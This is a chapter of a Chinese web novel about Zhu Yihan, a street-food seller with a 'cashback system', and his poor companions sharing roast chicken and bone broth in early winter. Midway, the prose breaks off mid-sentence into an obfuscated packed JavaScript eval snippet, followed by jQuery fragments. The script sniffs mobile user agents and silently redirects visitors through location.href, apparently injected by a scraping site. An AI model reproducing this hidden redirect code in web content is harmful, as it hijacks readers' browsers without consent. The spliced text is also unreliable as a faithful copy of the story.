昨日的雨夹雪似乎是彻底拉开了属于冬天的幕布。
接下来的几日天气都算不得好,不是刮着‘呜呜’的大风,就是突然下起了雨。
生意没有之前那么好,朱奕寒也酌量减少了卤水锅的分量。
之前半日下来能卖掉三锅左右的卤串,现在降到两锅,时不时还会剩下一些。
但好在即便赚的少了,也还是在赚的。
只是比起摊子现在的生意,朱奕寒更在意的其实是返现系统的返利。
原本他给菜头或是阿兰阿桂他们买些小东西的时候,都会得到三倍五倍不等的返利。
但随着大家一起生活的时间长了,也许是系统偷偷自己更新了?又或者也许是触发了某种他不知道的判定机制。
再给菜头他们花钱的时候,虽说也还会正常给返利,但基本上都只有一倍的翻倍。
说好的是一到十倍随机返现的呢?
可给破庙的大家花钱就又是正常的,他有时候也在想,是不是自己想多了。
心里记着事情,让他这一觉睡得特别沉,直到早上起来洗漱的时候还觉得肩膀脑袋疼的厉害,迷迷糊糊端了脸盆和布巾来准备擦洗的时候,那里面冰水冻的手和脸刺骨疼。
虽然人是一下子清醒了,但也忍不住叹了一口重重的气。
也不知道要等到什么时候才能用上热水。
这天收摊回来的路上,菜头瞧见他闷闷不乐的模样,干脆伸手拍了拍,“怎么了这是?”
他以为朱奕寒是担心家里摊子的生意没有先前时候的好,可这事一看就是这鬼天气给害的。
老朱这人就是这样,总喜欢那什么提前瞎担心。
于是半是为了劝慰,但是为了自己的馋虫,他抻了抻自己的嘴唇,挤眉弄眼比划着指了指前面的那家店铺。
“不开心?那要不——我请你吃烧鸡啊!”
路口有一家卖烧鸡的铺子生意特别好,听说是有自己独家的酱汁,每每出炉的时候那烧鸡的味道虽然不是香飘十里,但一里也该是有的了。
但几人每天路过,闻到那香味一次都没舍得吃过。
菜头也是攒了几日没舍得买零嘴的钱,他是真把朱奕寒说要给自己多存些钱的话听到耳朵里面的。
不过钱这个东西嘛!
就像是老朱之前在家做的山药蜜饯一样,总看他忙前忙后的操持这,菜头他觉得也该小小的犒劳一下了。
烧鸡一只七十文,半只三十九文钱,菜头前面说的大大方方,真等要数这么多铜币出去的时候也有些心疼的耸了耸肩膀。
好在这烧鸡的味道足够香,看到伙计准备拿油纸包自己买的那只烧鸡时,菜头还不忘多叮嘱人家给自己多刷些酱汁。
“我口重,就爱吃咸一点的!”
等后面好不容易拿到了自己的那份油纸包,他挤着朱奕寒的时候又大方承认,“要不是馋他们家这一口酱料,谁舍得买这样贵的烧鸡啊!”
斜对面菜市里面的烧鸡一整只才六十文!
还给送里面的鸡杂!
这中间差着的十文钱都够他去多买三个肉馅麦饼了!
虽然有时候觉得菜头话挺多的,但这个时候听着他满嘴跑火车的瞎咧咧,确实心情一下子好了很多。
于是朱奕寒也不再去想那些事情,转而抬手摸了摸还有些烫手的油纸包,“回去再煮点粥吧,正好能就着烧鸡一起吃。”
“有好东西吃,谁还想喝什么粥啊?再说了,等粥熬好了,这好吃的烧鸡都已经放凉了。”
这人哪,刚开始花钱的时候还忍不住扣扣搜搜的,可这会想着左右已经花了这么多钱出去了,那再多花点也没什么关系。
“我听孙大爷说了,这边有家卖馒头的,好吃又便宜。”说完也不等朱奕寒回复,把油纸包往他怀里一塞。
“你们先回家去,我买了馒头后就马上回来。”
杂面的馒头,虽然没有馅但个头足够大,菜头一口气买回来了八个。
面对大家的时候还振振有词,“正好每个人都能吃两个!”
……也行吧,反正这个天气也不会坏。
要真吃不完,到时切了馒头片烤着吃也挺香的。
路上虽然揣着这么多的馒头,但菜头心里一直惦记着那只烧鸡,这会子好不容易到了家里,刚把馒头放下,转手就准备去拿那桌子上的油纸包。
被阿桂眼疾手快的拦了下来,“你还没洗手!”
“哎呀!”菜头有些急了,“我手干净的很,用不着洗!”
那水凉的很,要不是朱奕寒日日盯着不洗脚就不能去床上睡觉,他每天晚上连脚都不想洗。
面对菜头的耍无赖,阿桂也没有了办法。
阿兰眼疾手快的把油纸包扯了过来,“朱大哥说了,这段时间感染风寒的人多,回家后一定要洗手漱口才行!”
比起这句话更绝杀的是朱奕寒突然打开了灶台上的盖子,开口道:“没洗手的人,那可就要错过这一锅好汤了啊。”
竟然是大骨头炖汤!
菜头‘咕嘟’一声吞了口口水,哪里还记得自己嫌弃什么水凉不凉,忙慌慌的就出门,“我洗手去,马上去!一定要给我留一点啊!”
已经入冬,虽然还没有到杀年猪的时候,但各个肉摊贩上的猪肉价格也渐渐抬高了些。
时下荤油来处少,大家买肉的时候都更偏爱肥一些的肉。
每次猪板油的数量是有限的,一定要提前同肉铺人定好才会有,有些赶不上买的也会挑选些五花三层的好肉段回去。
吃的就是那个肥滋滋的口感。
和那些部分相比,纯瘦肉的价格就要相对便宜些,但也不是时常能吃得起的。
至于朱奕寒今天买回家的这些上面只挂了些肉皮肉丝的大棒骨,价格就要更便宜了。
这边菜头已经洗好了手,掀着门帘还不忘发问,“怎么突然想着煮骨头汤了?”
“不是某人说的,天气冷了,要好好犒劳下自己吗?”
朱奕寒笑着递碗过去,示意他自己去盛。
其实是去肉摊上拿猪杂鸡杂的时候,正好瞧见了这几根大棒骨,看在老主顾的份上,肉铺老板还给便宜了几文钱。
确实眼看着天气凉了,大家也该
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024770|194345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吃点好的多补补。
大骨头炖的时间虽然不长,但这会一打开盖子,也能瞧见里面的汤已经开始变白了。
骨头上面虽然没有多少肉,但架不住汤里面加了莲藕,一眼瞧见骨头里面还有嫩滑的骨髓,这会子只是拿勺子盛汤都能看到切面里的骨髓随着这小动静一起颤颤巍巍的。
“来来,都快拿碗过来。”
一人都盛了满满的一碗。虽然不是肉,但闻着味道也很香了。
更别提还有烧鸡和馒头。
菜头吃的很慢,每一口都要隔好一会儿才舍得吞下去。“这吃的也太好了,感觉就算现在马上去死都值了!”
话音还没落,手上就被筷子重重敲了一下。
菜头下意识的以为是朱奕寒,结果一抬眼发现竟然是平日里脾气最好的阿兰。
小丫头这段时间正常吃饭,个子瞧着也往上窜了窜。
只是不知道是不是和老朱学的,好好一张娃娃脸上最后硬是摆出了个严肃的神情,“呸呸呸,好好吃着饭,说什么死不死的!”
阿桂也跟着应和,“对!快呸呸呸!”
菜头没藏住嘴角的笑意,看着两人坚持要他呸呸呸,最后还是吞下了嘴里的那口大骨汤后,才怪模怪样的对着地面‘呸’了几声。
这一顿饭吃了许久,看到最后只剩下骨头的烧鸡,菜头还有些不舍。
“要不我拿这个去泡个汤喝吧?”
之前还在桥洞底下的时候,能捡到一只这样没肉的鸡架都算是发财了。
朱奕寒闻言也是一噎。
之前讨饭的日子过的太刻苦了,其实哪怕现在日子好过了些,他还是没忍住在一些地方扣扣搜搜的。
但还没做到菜头这个份上,“泡什么汤啊!”
“家里这不是还有大骨汤吗?!”更别说这鸡骨头,菜头刚才都已经嗦过两三遍了。
别说肉味,怕是连骨头味都没了。
“……好吧。”
有些不舍的把那些骨头收拾了一下,菜头磨磨蹭蹭的出门把它们给丢了。
朱奕寒这边也盛了些大骨汤,准备带着一起去隔壁是找孙大娘的。
天气渐渐转凉,成品的棉鞋价格太贵,即便是在草鞋外面再给加些布面和棉花,布坊里面的价格也不算便宜。
同他们算是熟识了的店伙计便开口说,要是这样直接买成鞋,倒不如自己买点棉花再扯些布回去做鞋子。
不会做具体的型也没事,里面套着个便宜的草鞋,再给它沿着外面的几个面带上棉花和布面就行了。
于是听着伙计的介绍,就买了些棉花粗布和针头线脑回家来。
原本还想自己琢磨一下到底该怎么补的,正巧被准备出门的孙大娘看到了,说她刚好会做这样的棉鞋,让朱奕寒把这个活交给她来做,保准比外面做的又快又好。
朱奕寒的手艺本来也就局限在缝扣子,孙大娘既然开口了,价格提的也合理,帮忙做一双鞋子只要十五文。
他心里掂量掂量后,就干脆顺水推舟的答应了下来。
今天就是和孙大娘约好了要去取棉鞋的日子。